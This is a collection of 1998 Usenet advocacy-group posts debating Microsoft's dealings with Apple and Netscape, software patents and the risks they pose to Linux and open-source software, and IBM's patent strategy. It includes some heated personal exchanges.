From: "Patrick A. Bryan" <pbryan@acrux.net>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com> <724tp9$fpi$1@52-a-usw.rb1.blv.nwnexus.net> <36474763.411112238@news.monmouth.com> <727kst$rj6@shelob.afs.com> <3648abc2.502343982@news.monmouth.com> <72abh1$9e8$1@nnrp02.primenet.com> <3648eb07.518540652@news.monmouth.com> <72cafk$osn$1@nnrp02.primenet.com> <3649cccf.7814957@news.monmouth.com> <y1uhfw5lwwa.fsf@acuson.com>
Subject: Re: History white-out... (was Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 13 Nov 1998 15:22:23 -0600
Message-ID: <364ca0ec.0@news1.starnetinc.com>
Darin Johnson wrote in message ...
>WStreett@shell.monmouth.com (Wilbur Streett) writes:
>
>> >The people who created the IBM PC were IBMers, so yes, they were
>> >"mainframe jocks". Until IBM came alone, there was no "standard".
>>
>> CPM was the existing standard..
>
>S-100 was a common hardware standard too. Actually, even after the
>PC, there wasn't really a de-facto standard until it was *cloned*.
>Ie, the IBM PC was just as one-of-a-kind as the Apple-II or TRS-80
>until then.
>
This is off topic.. but, why do I always hear, untill the AppleII or
Trash80? What about the Commodore ViC20, or 64? I think there were more of
them than the Apple...?
>--
>Darin Johnson
> Caution! Under no circumstances confuse the mesh with the
> interleave operator, except under confusing circumstances!
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 13 Nov 1998 15:20:01 -0500
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"Todd Heberlein (todd at NetSQ dot com)" wrote:
>
>
> Microsoft wants to control access to the Internet,
What is Netscape doing (and what has Netscape done) which would lead you
to believe that company's aims are any different?
> and that is done
> largely by controlling the browser most people use to access the
> Internet.
The last figures I saw showed clearly that Netscape still commands a
majority of browsers in use. Please explain the mechanism by which
Netscape plans to "control the Internet" by having more people simply
use its browser to access the Internet.
I'm not sure you have a firm grasp on the nature of the Internet. Its
very nature, indeed, its very attraction, is that it is "uncontrolled"
and anybody who wants can "browse" it at will. I'm not clear on the
precise nature by which you have Netscape and Microsoft "controlling my
access" to the Internet simply because I elect to use their browsers. As
a matter of fact, I use and prefer Netscape. But on those occasions when
I fire up IE, I've noticed that I can go anywhere I can go with
Communicator. Can you detail how Communicator is "controlling my access"
to the Internet?
> To control that access, Microsft has ported IE to all the
> Windows platforms, the Mac, Solaris, and HP-UX. Contracts and money
> have little to do with it. Control of the Internet does.
Before IE was, Navigator was cross-platform. Can you explain how being
cross-platform (apart from giving more people Internet access with these
browsers) in any other way "controls Internet access"?
>
> The recent issues of QuickTime and RealPlayer point to a potentially
> dangerous trend. If Microsoft controls the browser, it can make it
> difficult for vendors of other technologies to challenge Microsoft in
> other areas.
The only "recent issues" I can think of were minor bugs in the coding of
those programs which caused them some occasional trouble. Is there
something Microsoft is doing which makes it impossible for these
developers to change their software and eliminate those bugs? For
instance, I use both Quicktime and Real Player, and the "bugs" have
never affected my use of either program.
>
> Remember the claims that Microsoft had a feature in a Windows beta that
> gave errors when running on DR DOS, DOS's main competition? Likewise,
> there have been claims about hidden APIs that allow Microsoft's
> applications (e.g., Word) to run faster than competitors.
Of course it certainly has nothing to do with the fact that Microsoft
writes to X86 environments, primarily, and maybe is not as adept or
skilled in writing to other incompatible environments. I mean, Microsoft
has never been what I call a "great programming" company, even under the
X86 environment. The fact that they might do worse in other environments
is certainly no surprise to me. What that should surprise anyone is
beyond me. While Microsoft writes and (hopefully) understands Windows
very well, Microsoft doesn't write the Mac OS, does it? Why these simple
notions seem to surprise people is beyond me. Last I heard, Tevanian and
his gang of hot-shot programmers couldn't even write an Active X
control--probably some of the most elementary stuff in Windows (You can
write one with VB.) But does this mean Tevanian and his gang are
"incompetent" or that they "deliberately refuse to write to Windows
specs" just to hamper the performance of their programs under Windows? I
don't think so. It simply means they've spent their time writing for the
Mac environment instead. Elementary, my dear Watson...:)
>
> There appears to be a pattern: control the critical foundation software
> that others must use, and then leverage that control to beat
> competition in applications that must use that foundation.
>
> Market share first, followed by control, and finally profit.
>
Shades of Jobsian logic! Sounds just like Apple Computer of the last two
years!...:)
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: 12 Nov 1998 18:16:14 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <72f8le$hjr@newsb.netnews.att.com>
Originator: gupta@tlctest
A few items monitoring the progress of NT 5.0 aka 2000 :
****
"Trusting the growth of your business to Windows NT 4.0 is
roughly the equivalent of assigning national defense to the
Salvation Army".
This quote is from Ziff-Davis Net's Windows NT pages.
Until last week they were talking about how wonderful
Windows NT 4.0 is, how you should go to NT 4.0 instead
of upgrading to Novell's latest, etc. etc.
But this week, Microsoft has begun to push NT 5.0 aka 2000;
as reported earlier vendors are going to ship machines with
Windows 2000 beta 3 preloaded; and this
"NT 4.0 sucks (forget all we've been saying about how great
it is) but NT 5.0 will solve all your problems"
is typical Microsoft-speak, and amplified through ZDNet.
****
ComputerWorld
(http://www.computerworld.com/home/features.nsf/all/981109qs)
has a little article that attempts to explain operating system
kernels for the non-technical person.
In the article "Heart of OS being pulled in different directions"
Frank Hayes notes that Microsoft is adding a database to the
NT kernel (???!!!). Cramming more stuff in the kernel gives
potentially better performance, but at the cost of more complexity.
Hayes notes that Apple is going the opposite route with MacOS X Server,
using a microkernel.
****
-arun gupta
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 13 Nov 1998 16:16:59 -0600
Organization: Ericsson Inc.
Message-ID: <364CAFDB.60B37BB1@exu.ericsson.se>
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mgiddings@nospam.ypc.net wrote:
> I'm sorry. You failed. Try again. This time complete the lesson before
> spouting off. In particular, study the part about the fact that neither
> Apple nor MS is BAD (or good), but if one of them breaks the law, then it
> needs to be dealt with.
This isn't about pre-existing law, it's about law creation. Perhaps you
shouldn't have cut your lessons short of the sections on "judicial
review" and "setting legal precedent".
> Very simple,
No, silly, it's anything *but* simple. That's the fundamental mistake
you seem to be making. In case you missed it, that's why the word
"pedagoguery" was used.
> but as warned in the lesson, some
> people have real trouble with the simple concept. Thank you for
> demonstrating the reason for the warning so well.
Ach! Quip all you like, lackwit. Persisting in the contradiction,
twisting and squirming with understated meaning. How bold of you.
As I say, it is anything but simple. But it always seems so to the
activists and the Anointed, doesn't it?
> Well, just responding in kind with a bit of tounge in cheek added (as if
> you weren't sitting on your ass at your keyboard shouting at some stranger
> in cyberspace . . . hmm).
What? "Responding in kind"? Who posted first, you or me?
> But as usual there are people who have trouble
> dealing with it when others poke a little well warranted fun at them.
Again, who posted first, mgiddings? Nobody poked fun at me; I don't get
your point.
> As for the rest, I'll let your words speak for themselves:
>
> > Grow the fuck up.
Well, *that's* responding in kind, I suppose. Good thing you picked the
best bits to repeat.
Yeesh. Over and out.
MJP
Message-ID: <364AFAEF.75892CB1@ieee.org>
Date: Thu, 12 Nov 1998 08:12:47 -0700
From: Bruce Hayden <bhayden@ieee.org>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <935681C33D3E3A16.6DEC2EC60DE57E5D.DEAC9FAC3078F03E@library-proxy.airnews.net> <3649A58E.A3BE88BC@ieee.org> <3649BD77.4699D073@ix.netcom.com> <slrn74kqlg.sri.cbbrowne@godel.brownes.org> <364A923D.1E5D1B7D@ix.netcom.com>
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Karsten M. Self wrote:
>
> > It is not obvious that it is IBM's interests to *care* about whether Linux
> > is successful on the desktop.
> The idea occured to me when IBM's support of Apache was announed that
> among the things IBM could provide Apache was precisely the IP
> protection we're discussing here. Subsequent discussions with Apache &
> IBM folks indicated that an informal arrangement was in place.
> Extending this idea I started looking at what I originally called
> "Patent Patrons" -- large IP-rich companies with an interest in
> opportunities offered by OSS, who might take on protection of a
> particular project or projects. This has evolved further, Chris has
> seen its current shape, I'd be interested to hear back....
I see IBM's involvement maybe a little differently. What some here
seem to be implying is that the company may be enticed to use its
huge patent portfolio in defense of some of these products.
I can see this happening if, and only if, such a product becomes
really strategic to the company. There are a number of reasons for my
view. First, IBM has a history of playing on as many sides of any
issue as it can. Thus, throwing a couple of resources at these
technologies is just portfolio management. If they fail, it still
has another bunch of things going on, including its own AIX, NT, etc.
Secondly, the IP portfolio people seem to have a bit of power over
there and run somewhat autonymously. Their IP portfolio is starting
to generate a bit of money, and rocking this would take a bit of
selling.
I think that the reality is that their investments to-date have
been de minimus, mostly on the order of covering themselves.
Its much too early for them to consider this as strategic,
and thus much too early to invest their immense patent portfolio
in the endeaver.
> While IBM's interest and likely support is likely limited in scope and
> depth, it probably *does* extend to Linux -- DB2 is another product
> which is being ported, virtually any ISV would like to see some
> assurance of a non-MSFT controlled market, and there are persistant
> rumors that IBM will produce a Linux distribution (no, I don't know
> anything that I haven't read in public). It's also been explained
> patiently to me that IBM is a big company, that there are many
> activities and agendas, and that nobody knows all of what's happening
> (or as I put it, the right hand doesn't always know what the right hand
> is doing). Linux, Apache, Java, and perl are white hot in some areas,
> and foreign words in others. Them's the breaks.
>
> Even if IBM didn't support Linux, Intel or Cisco might, Yahoo would have
> an interest in FreeBSD, someone could come to the rescue of the GIMP,
> etc., etc., etc.... The ideal solution to me is to pool these interests
> into a collective which *does* provide umbrella support.
Nice idea, but I think a bit hard logically. One problem that I
see is that it is very hard for a company such as IBM, Intel, etc.
to strip off just a bit of their portfolio. That is becuase they
usually license big chunks, if not the whole thing. They have to
keep in mind the impact that this is going to have on their future
licensing negotiations.
And the problem is that much worse if you are suggesting that they
throw their entire portfolio into the pool. IBM for example supposedly
makes $800 million a year on licensing theirs, with a mandate to
hit a billion in the next year or so. Their IP portfolio guys are
getting quite a bit more agressive than they have been in the past.
--
--------------------------------------------------------------------
The preceding was not a legal opinion, and is not my employer's.
Original portions Copyright 1998 Bruce E. Hayden,all rights reserved
My work may be copied in whole or part, with proper attribution,
as long as the copying is not for commercial gain.
--------------------------------------------------------------------
Bruce E. Hayden bhayden@acm.org
Phoenix, Arizona bhayden@ieee.org
===now operational again============>bhayden@copatlaw.com
From: brlewis@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Fri, 13 Nov 1998 21:47:45 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72i9e1$t1b$1@nnrp1.dejanews.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com> <72b6c2$16v$9@blue.hex.net> <72clqk$3ij$1@nnrp1.dejanews.com> <364A93F5.615EB064@ix.netcom.com> <72evh2$ut$1@nnrp1.dejanews.com> <364BE8FA.CB4F79C4@ix.netcom.com> <72hlu5$aul$1@nnrp1.dejanews.com> <364C6657.6DCB7C2E@ix.netcom.com>
In article <364C6657.6DCB7C2E@ix.netcom.com>,
kmself@ix.netcom.com wrote:
> brlewis@my-dejanews.com wrote:
> >
> > In article <364BE8FA.CB4F79C4@ix.netcom.com>,
> > kmself@ix.netcom.com wrote:
> > > I'm hardly the only person suggesting that this danger exists. Others
> > > include Linus Torvalds, Alan Cox, and Jeremy Allison. I think if the
> > > danger does exist, we're doing companies considering OSS a favor by
> > > making them aware of the issue. Moreover, I suspect that there are
> > > fairly effective remedies available.
> >
> > You're not only suggesting that the danger exists, but that it's higher for
> > OSS than for proprietary software. If others are saying the same thing,
> > please point me toward what they're saying and I'll argue with them instead.
>
> Alan Cox on patents: http://lwn.net/980625/patents.html
This is looking at a patent suit entirely in the proprietary-software world
and asking, "Could this happen to us too?" There is no suggestion that there
is more danger from patent suits in a user's dependence on OSS software than
in a user's dependence on proprietary software.
> Exchange w/ Linux & Jeremy from "Future of Linux Forum":
> http://pw1.netcom.com/~kmself/OSSPatPool/FOL_19980714_patents.html
Linus talks about the danger of patents *preventing* development that hasn't
happened yet. He doesn't talk about code that's already being distributed.
There is no suggestion that there is more danger from patent suits in a
user's dependence on OSS software than in a user's dependence on proprietary
software.
Jeremy only talks about how bad patents are. When I asked for pointers to
people who are saying the same thing as you, I meant more than just "software
patents can cause problems."
> ....you're an adult (I presume). Search. Jeremey's posted some rants at
> Infoworld Electric Forums (http://forums.infoworld.com/), unfortunately
> the site's search engine is broken. Browse through Nick Petreley's
> columns starting 5/98. Deja News and Alta Vista should turn up more.
I'm sure there are lots of pages out there that mention patents and (OSS,
Linux, GNU, or GPL), but I don't want to dig through them all trying to find
one that makes the same assertion you're making.
> A few links:
>
> Bruce Peren's LinuxWorld article started bits of this thread:
> http://www.linuxworld.com/linuxworld/lw-1998-11/lw-11-thesource.html
His reasoning for OSS having greater vulnerability is that large proprietary
software companies with big patent portfolios will band together in
opposition. This is paranoia -- understandable in his case because he got
personally bit by AT&T -- but paranoia nonetheless. IBM has a much greater
patent portfolio than MS, and it seems to be courting OSS rather than getting
ready to band together with MS to fight it.
> FSF describes the problems it's had dealing with patented technology:
> http://www.fsf.org/philosophy/gif.html
This talks about their avoidance of patent problems. They do speculate about
what could have happened if they had barged ahead and violated the patent,
and give reasons why users rather than the FSF might get sued, but there
could also be reasons why a user of proprietary software might be sued rather
than the creator or distributor.
> The vulnerability arises out of an analysis of legal strategy, posted by
> me in another reply (I believe to one of your posts, you should read
> it). The vulnerability isn't based on a specific legal characteristic
> of OSS or patents, it is a strategic vulnerability. The lawyers and OSS
> developers I've discussed this with seem largely to agree. Flogging
> this point here & now is getting tiresome.
Here's the point I'm arguing against: You say that users who depend on OSS
are more likely to have the rug pulled out from under them than users who
depend on proprietary software. I disagree with you.
When I asked for pointers to where people "seem largely to agree" with you,
you pointed to instances of people saysing "patents can cause problems." Is
that the extent to which the lawyers and OSS developers agree with you? I
agree with that too (I'm an OSS developer). But you're saying more.
> I've discussed the issue with several people, I can give instances of
> development which hasn't happened or people who've stopped development
> specifically due to patent concerns (GIMP CMYK, G77 development --
> halted for a time).
Yes, OSS developers tend to be cognizant of patent issues and stop when they
might be encountering a problem. They may actually be better at this than
proprietary software developers under strict deadlines and other pressures.
Because there is so much peer review, even if the original developer is
unaware of patent issues someone else will likely be aware and point it out.
The patent problem can be avoided before users start depending on the
software.
It's very rare that a company will get the rug pulled out from under it for
depending on software that turns out to have patent problems, but if I had to
compare probabilities, I would say it's safer to go with OSS.
-----------== Posted via Deja News, The Discussion Network ==----------
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Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
From: jsoohoo@netcom.com (me)
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Message-ID: <jsoohooF2DrI9.718@netcom.com>
Sender: jsoohoo@netcom7.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <3645B2FC.14A8E781@ieee.org>
Date: Fri, 13 Nov 1998 21:54:08 GMT
In article <3645B2FC.14A8E781@ieee.org> Bruce Hayden <bhayden@ieee.org> writes:
>John Rudd wrote:
>
>> 2) Does a patent issue have ANY legal impact on non-commercial
>> distributions (I don't know how patents affect non-commercial use of the
>> patented item -- a copyright issue would, but they would have to prove that
>> the code in question came from a technology they control, as opposed to
>> merely being independantly writen code that duplicates functionality of
>> some technology they own -- but they may be able to attack the look and
>> feel of the fvwm extensions that look like win95)?
I kind of doubt the look and feel really holds a whole lot of water.
Xerox and Atari each have tried this (a windowing system against Apple
and Pacman, respectively) and failed.
>Yes, a patent can preclude non-commercial distributions, and yes,
>there is a possibility of damages. However, the later is possibly
>lessened since the plaintiff can only really go after its own lost
>profits, and not any excess profits of the defendant. The likelyhood
>that damages would be minimimal, if existent, is one reason that it
>is unlikely that a non-commercial distributor would be sued.
I kinda recall back some years ago that a inventor came up with a
design to the intermittant wiper for a car. He patented the idea and
tried to sell it to some big American car company. They looked at his
idea and told him they were not interested and sent him away. Then some
time had past and then the inventor discovered this feature had been
introduced to a line of cars in the company that the inventor brought the
idea to. The case went of for years, finally the inventor won. But he
had accumilated a mountain of legal fees. He didn't collect much because
no malice was proven. Basically the inventor had to prove the car company
had intentionally violated the patent.
If the same idea where to apply, who would MS haul into court? Can they
really prove the Linux community conspired to violate a patent?
Mindless ranting thoughts below:
What if we could find someone who owned a country of their own. You know
one of those islands in some distant place... and set up a distribution
center there. Could such a country ignore all patents and copywrites?
If so such a place could freely distribute anything freely. Would
Linux then be truely untouchable?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: "Knife the baby" finally appears
Message-ID: <edewF2DtBx.KAo@netcom.com>
Sender: edew@netcom3.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <364A1064.72AFE339@spamtonull.com> <72d7ep$2mk@newsb.netnews.att.com> <364A66ED.19E94AF6@exu.ericsson.se>
Date: Fri, 13 Nov 1998 22:33:33 GMT
In article <364A66ED.19E94AF6@exu.ericsson.se> Michael.Peck@Ericsson.com writes:
>gupta@knim.tm.tta.moc-mirror, after, @ wrote:
>
>[cut]
>
>> Since Apple, Sun, Netscape, etc. hardly dominate anything, the
>> application of the rule to them appears to be different.
>> But, for example, if Apple ever got dominance in multi-media
>> via Quicktime, it should be illegal for them to try to convert
>> this into an OS dominance (though how that might work seems
>> rather far-fetched).
>
>This would've helped a lot in high-school. I knew a lot of athletic,
>good-looking guys who had a virtual monopoly on pretty girls. They'd
>even double- and triple-up, keeping extra girls on the side. Wasn't fair
>at all; there should've been some rule against people with that kind of
>dominance taking advantage of it and getting us losers cut from the
>varsity soccer team. 'Twas a well-known fact at my high school that
>girlfriend-less geeks didn't get positions.
>
Well, at my high school, none of the jocks took their jock-itch to a
college (only 10% or so of my class went to a 4-year college, as I recalled).
Now, they're fat, out of shape, and the girlfriends then are equally
fat and out of shape. Both, working blah-blah jobs.
On the other hand, I participated in various sports in college and am
probably in better shape and health than most of the others combined, and
I got money coming in too. Ugly duckling turning into a swan (with a
NeXT machine chained to the neck?).
EDEW
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: "Knife the baby" finally appears
Message-ID: <edewF2DtGq.KI4@netcom.com>
Sender: edew@netcom3.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <72d7ep$2mk@newsb.netnews.att.com> <364A66ED.19E94AF6@exu.ericsson.se> <72dt95$346@news1.panix.com>
Date: Fri, 13 Nov 1998 22:36:26 GMT
In article <72dt95$346@news1.panix.com> sal@panix.com writes:
>On Wed, 11 Nov 1998 22:41:17 -0600, Michael Peck
> <eusmpec@exu.ericsson.se> wrote:
>How are the jocks keeping the "pretty girls" from choosing? The jocks are not
>allowed to keep them against their will. They are not allowed to keep them
>from dating anyone they would like to date.
>
It is not rare that a jock would beat up a "girlfriend" for flirting with
other guys, particularly geeky looking guys. Didn't you see Revenge of the
Nerds? :-)
EDEW
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: "Knife the baby" finally appears
Message-ID: <edewF2DtoF.Kpt@netcom.com>
Sender: edew@netcom3.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <364A0FCF.C74FA148@spamtonull.com> <72d6nt$295@newsb.netnews.att.com> <364AFF31.2CE9CD59@spamtoNull.com>
Date: Fri, 13 Nov 1998 22:41:02 GMT
In article <364AFF31.2CE9CD59@spamtoNull.com> Jonathan Harker <Limeyville@spamtoNull.com> writes:
>
>
>
>
>>
>> Quicktime is still around because Apple didn't budge.
>>
>> Somebody tried to mug you, but you fought back. You ended up
>> not being robbed. Doesn't justify the mugger.
>
>
>OK, a mugger comes up to me and says "Give me five dollars" and I say
>"No way," and the mugger hands me $150 million dollars and a Browser
>(which cost him a few million more to make just for my machine), lets me
>keep the $5, and goes away.
>
>
>Hey, I wish *I* could get mugged like that....:) Anyday...!
>
A $150M investing is not the same thing as HANDING over $150M. There
are obvious strings attached. And it's not "Give me five dollars," either.
It's more like "Chop off your arms." To which Apple cried for the police.
When MS saw the police coming, opted to play big buddy knowing that they
have strings to pull.
EDEW
From: rjcousin@sfu.ca (Ryan John Cousineau)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 13 Nov 1998 23:37:44 GMT
Organization: Simon Fraser University
Message-ID: <72ifs8$npl$1@morgoth.sfu.ca>
References: <364A0FCF.C74FA148@spamtonull.com> <72d6nt$295@newsb.netnews.att.com> <364AFF31.2CE9CD59@spamtoNull.com> <edewF2DtoF.Kpt@netcom.com>
edew@netcom.com (Eric Dew) writes:
>In article <364AFF31.2CE9CD59@spamtoNull.com> Jonathan Harker <Limeyville@spamtoNull.com> writes:
>>
>>
>>
>>
>>>
>>> Quicktime is still around because Apple didn't budge.
>>>
>>> Somebody tried to mug you, but you fought back. You ended up
>>> not being robbed. Doesn't justify the mugger.
>>
>>
>>OK, a mugger comes up to me and says "Give me five dollars" and I say
>>"No way," and the mugger hands me $150 million dollars and a Browser
>>(which cost him a few million more to make just for my machine), lets me
>>keep the $5, and goes away.
>>
>>
>>Hey, I wish *I* could get mugged like that....:) Anyday...!
>>
>A $150M investing is not the same thing as HANDING over $150M. There
>are obvious strings attached. And it's not "Give me five dollars," either.
>It's more like "Chop off your arms." To which Apple cried for the police.
>When MS saw the police coming, opted to play big buddy knowing that they
>have strings to pull.
And, er, unless I missed something, MS got to keep the "arms" (ie they got
a right to use the patent they were infringing upon).
Armed and delusional,
--
Ryan Cousineau, rjcousin@sfu.ca
"Even if animal research resulted in a cure for AIDS, we'd be against
it." -- Ingrid Newkirk, PETA founder and insulin-dependent diabetic,
Vogue, September 1989
From: Simon Kinahan <simonk@cadence.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 13 Nov 1998 13:30:33 +0000
Organization: Cadence Design System, Inc.
Message-ID: <364C3479.5C1BFBB5@cadence.com>
References: <36425AFD.D0D8EC3D@solarsystems.com>
<36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com>
<slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org>
<3646A021.162FC622@ix.netcom.com>
<qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz>
<3647E15E.7A2232BA@ix.netcom.com>
<qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz>
<36493AF7.BDFE3CAA@ix.netcom.com> <364b1f14.1124576@news.demon.co.uk> <KAi$REAcsAT2EAIj@wolff.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: Paul Wolff <paul@wolff.co.uk>
Paul Wolff wrote:
>
> In article <364b1f14.1124576@news.demon.co.uk>, Anthony Ord <nws@rolling
> thunder.demon.co.uk> writes
> >On Wed, 11 Nov 1998 07:21:27 +0000, "Karsten M. Self"
> ><kmself@ix.netcom.com> wrote:
> >
> >>My position is this:
> >>
> >> - For better or worse, SW patents exist, in the US, Japan, and a number
> >>of European nations. I don't know specifics, IANAL.
> >
> >They don't exist in the EU.
>
> They do, sir.
From the web site of the European patent office:
The EPC does not define "invention" but contains a list of items
which cannot be regarded as inventions, or as inventions which are
susceptible of industrial application or expressly excluded from
patentability.
Particular attention should be paid to the following three fields:
....
The first of these is programs for computers which are not regarded
as inventions insofar as they are claimed as such. However, if the
subject-matter claimed adds a contribution of a technical character to
the known art, a patent should not be refused simply because a
computer program is involved. This means that, for example,
machines, processes of manufacture or control processes controlled
by a computer program may be patented.
....
The other two fields are medical treatments and plant and animal varieties,
if you are interested.
That would appear to me (as was my understanding previously) to indicate
that anything which is purely a computer program or a description of one,
at some level (eg. assebler, high level labguage, or pseudocode), is not
patentable. That would seem to exclude IBM/Unisys's LZW patents, or the
recent rash of Microsoft patents.
I'm unclear about 'contributions of a technical character to the known
art'. Does this, for instance, include painting software ?
Simon
Date: Fri, 13 Nov 1998 18:50:22 -0500
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <tbrown-1311981850220001@mv180.axom.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com> <tbrown-1211981902390001@mv196.axom.com> <364C8CF8.9A3394D5@spamtoNull.com>
Organization: Newsfeeds.com http://www.newsfeeds.com 60,000+ UNCENSORED Newsgroups.
In article <364C8CF8.9A3394D5@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
>Ted Brown wrote:
>
>
>Of course, bear in mind that it was Amelio who was "holding out"....Jobs
>usurped Amelio and then settled the issue as quickly as he could get it
>settled. Obviously, what Jobs says he "could have gotten" after he
>settled has to be taken with a large grain of salt, since he did not, in
>fact, hold out for more. It's not clear that Microsoft would have done
>anymore than what it did regardless of how long Jobs might have "held
>out."
I have to agree that there's a bunch of information that only the parties
involved know.
We don't know if the Jobs-MS deal was a bad one, and that Apple should
have kept going like Amelio apparently was doing. Still, a bird in the
hand is better than one awaiting the outcome of a trial.
>> MS is contractually obligated to provide Mac IE due to a deal with AOL.
>
>Which MS no doubt agreed to do (with AOL.) Do you have some proof you
>could offer that would show that AOL made its deal with MS dependent on
>a version of IE for the Mac or that MS ever resisted doing a Mac IE? I
>see nothing in what you've said that would lead me to believe that
>Microsoft ever did a Mac IE against its will.
I only know what I've read, that AOL wanted a browser for both Windows and
the Mac, and wasn't willing to make a deal if it meant that they had to
have to support two browsers Windows IE and Mac Navigator. MS agreed to
make the Mac version --- and I don't think they were all that upset about
it either.
I never said MS did it against their will. You stated that MS gave Apple
a browser worth millions. They didn't, they made a Mac Browser to finish
a deal they made with AOL. They gave AOL a browser worth millions. Apple
had nothing to do with it, other than agreeing to use it as the default
browser in the Mac OS.
Now if you're really asking, 'Does the AOL agreement insist that MS
provide Mac IE free to the rest of the world?" Probably not. But, the
cost has already been paid. The extra cost of having IE up for download
and of transmitting a golden copy to Apple is quite mimimal (It's
certainly not 'millions').
>> The development cost might not even be that big next to the 'undisclosed
>> settlement'.
>>
>
>Which, as you've said, might be $1 for all we know...:)
It seems that someone ought to be able to make some ballpark guess on the
settlement from Apple's public disclosures. Or, due to a complete lack
of any evidence, guess that the settlement was chump change. Or am I
being really naive about all the nasty tricks that large corporations can
play with their statements?
--
tbrown@netset.com
---== http://www.newsfeeds.com - Largest Usenet Server In The World! ==---
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From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 13 Nov 1998 23:57:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72ih1n$3ig$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364CA67E.6C5A5121@exu.ericsson.se> <72i693$e69$2@coward.cc.utah.edu>
In article <72i693$e69$2@coward.cc.utah.edu>,
mgiddings@nospam.ypc.net wrote:
[ ... ]
I have to salute you, Mike-- you did an outstanding job of providing a simple,
understandable, and very neutral analysis of the interaction between Microsoft
and Apple. JH, MJP: do yourselves a favor and just read what he says, and try
not to let your preconceptions prevent you from recognizing the validity of M.
Giddings' article.
And then, to follow up by treating MJP's response as it deserved was very
amusing. Kudos for two jobs done well....
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
